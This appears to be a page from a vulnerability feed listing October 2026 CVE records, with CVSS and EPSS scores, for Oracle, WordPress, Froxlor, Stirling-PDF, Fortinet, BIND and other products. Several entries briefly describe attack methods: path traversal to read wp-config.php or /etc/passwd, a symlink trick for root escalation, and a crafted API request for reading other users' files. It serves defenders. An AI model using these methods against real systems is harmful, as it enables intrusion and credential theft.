### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).
https://kevwire.com/record/CVE-2026-101410
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101410).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101410&date=2026-10-25).
Sources:
NVD CVE-2026-101410: https://nvd.nist.gov/vuln/detail/CVE-2026-101410
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101410&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).
https://kevwire.com/record/CVE-2026-101390
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101390).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101390&date=2026-10-25).
Sources:
NVD CVE-2026-101390: https://nvd.nist.gov/vuln/detail/CVE-2026-101390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101390&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101398
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
CVSS 7.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101398).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101398&date=2026-10-25).
Sources:
NVD CVE-2026-101398: https://nvd.nist.gov/vuln/detail/CVE-2026-101398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101398&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the...
https://kevwire.com/record/CVE-2016-20100
Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the... (Oct 20, 2026).
Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the mdocs-img-preview parameter. Attackers can send GET requests with traversal sequences to mdocs_img_preview() in mdocs-downloads.php to download wp-config.php containing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2016-20100).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20100&date=2026-10-25).
Sources:
NVD CVE-2016-20100: https://nvd.nist.gov/vuln/detail/CVE-2016-20100
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20100&date=2026-10-25
Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the mdocs-img-preview parameter. Attackers can send GET requests with traversal sequences to mdocs_img_preview() in mdocs-downloads.php to download wp-config.php containing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of...
https://kevwire.com/record/CVE-2014-125134
ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of... (Oct 20, 2026).
ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of /wp-content/themes/churchope/lib/downloadlink.php. Attackers can supply directory traversal sequences to read sensitive files like wp-config.php or /etc/passwd, exposing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2014-125134).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-125134&date=2026-10-25).
Sources:
NVD CVE-2014-125134: https://nvd.nist.gov/vuln/detail/CVE-2014-125134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-125134&date=2026-10-25
ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of /wp-content/themes/churchope/lib/downloadlink.php. Attackers can supply directory traversal sequences to read sensitive files like wp-config.php or /etc/passwd, exposing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host...
https://kevwire.com/record/CVE-2026-113678
Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host... (Oct 20, 2026).
Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host directories by abusing the root-run traffic cron. Attackers can replace the goaccess statistics directory in their document root with a symlink, causing chown -R to hand root-owned trees to them and enabling root escalation.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113678).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113678&date=2026-10-25).
Sources:
NVD CVE-2026-113678: https://nvd.nist.gov/vuln/detail/CVE-2026-113678
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113678&date=2026-10-25
Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host directories by abusing the root-run traffic cron. Attackers can replace the goaccess statistics directory in their document root with a symlink, causing chown -R to hand root-owned trees to them and enabling root escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder...
https://kevwire.com/record/CVE-2026-113606
Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder... (Oct 20, 2026).
Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder at the server storage directory. Attackers can create a folder via POST /api/v1/processing-folders targeting storage/<victimUserId>, list files, and run pipelines to read, modify, or destroy victims' files.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113606).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113606&date=2026-10-25).
Sources:
NVD CVE-2026-113606: https://nvd.nist.gov/vuln/detail/CVE-2026-113606
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113606&date=2026-10-25
Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder at the server storage directory. Attackers can create a folder via POST /api/v1/processing-folders targeting storage/<victimUserId>, list files, and run pipelines to read, modify, or destroy victims' files.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2,...
https://kevwire.com/record/CVE-2026-23705
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2,... (Oct 13, 2026).
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2, FortiAnalyzer 7.4.0 through 7.4.6, FortiAnalyzer 7.2.0 through 7.2.12, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions may allow a low privileged user to execute arbitrary commands via crafted requests.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23705).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-23705&date=2026-10-25).
Sources:
NVD CVE-2026-23705: https://nvd.nist.gov/vuln/detail/CVE-2026-23705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-23705&date=2026-10-25
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2, FortiAnalyzer 7.4.0 through 7.4.6, FortiAnalyzer 7.2.0 through 7.2.12, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions may allow a low privileged user to execute arbitrary commands via crafted requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96251
Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96251).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96251&date=2026-10-25).
Sources:
NVD CVE-2026-96251: https://nvd.nist.gov/vuln/detail/CVE-2026-96251
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96251&date=2026-10-25
Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`".
https://kevwire.com/record/CVE-2026-94300
Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`". (Oct 21, 2026).
Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`".  An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.
This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94300).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94300&date=2026-10-25).
Sources:
NVD CVE-2026-94300: https://nvd.nist.gov/vuln/detail/CVE-2026-94300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94300&date=2026-10-25
Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`".  An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.
This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user...
https://kevwire.com/record/CVE-2026-93888
IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user... (Oct 20, 2026).
IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user input.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93888).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93888&date=2026-10-25).
Sources:
NVD CVE-2026-93888: https://nvd.nist.gov/vuln/detail/CVE-2026-93888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93888&date=2026-10-25
IBM Sterling Connect Direct for Unix 6.4.0.0 through 6.4.0.6 and 6.3.0.0 through 6.3.0.7 apnotify utility is vulnerable to a code injection due to insufficient validation of user input.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Essbase (component: Security).
https://kevwire.com/record/CVE-2026-91665
Vulnerability in Oracle Essbase (component: Security). (Oct 20, 2026).
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91665).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91665&date=2026-10-25).
Sources:
NVD CVE-2026-91665: https://nvd.nist.gov/vuln/detail/CVE-2026-91665
Vendor advisory (via NVD references): https://www.oracle.com/security-alerts/cpuoct2026.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91665&date=2026-10-25
Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).
https://kevwire.com/record/CVE-2026-91305
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91305).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91305&date=2026-10-25).
Sources:
NVD CVE-2026-91305: https://nvd.nist.gov/vuln/detail/CVE-2026-91305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91305&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-91265
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91265).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91265&date=2026-10-25).
Sources:
NVD CVE-2026-91265: https://nvd.nist.gov/vuln/detail/CVE-2026-91265
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91265&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76496
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76496 are related to issues concerning improper link resolutions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-59.
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76496).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76496&date=2026-10-25).
Sources:
NVD CVE-2026-76496: https://nvd.nist.gov/vuln/detail/CVE-2026-76496
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76496&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76496 are related to issues concerning improper link resolutions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-59.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76495
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76495 are related to issues concerning incorrect permission assignments that are grouped under the Common Weakness Enumeration (CWE) Variant CWE-732.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76495).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76495&date=2026-10-25).
Sources:
NVD CVE-2026-76495: https://nvd.nist.gov/vuln/detail/CVE-2026-76495
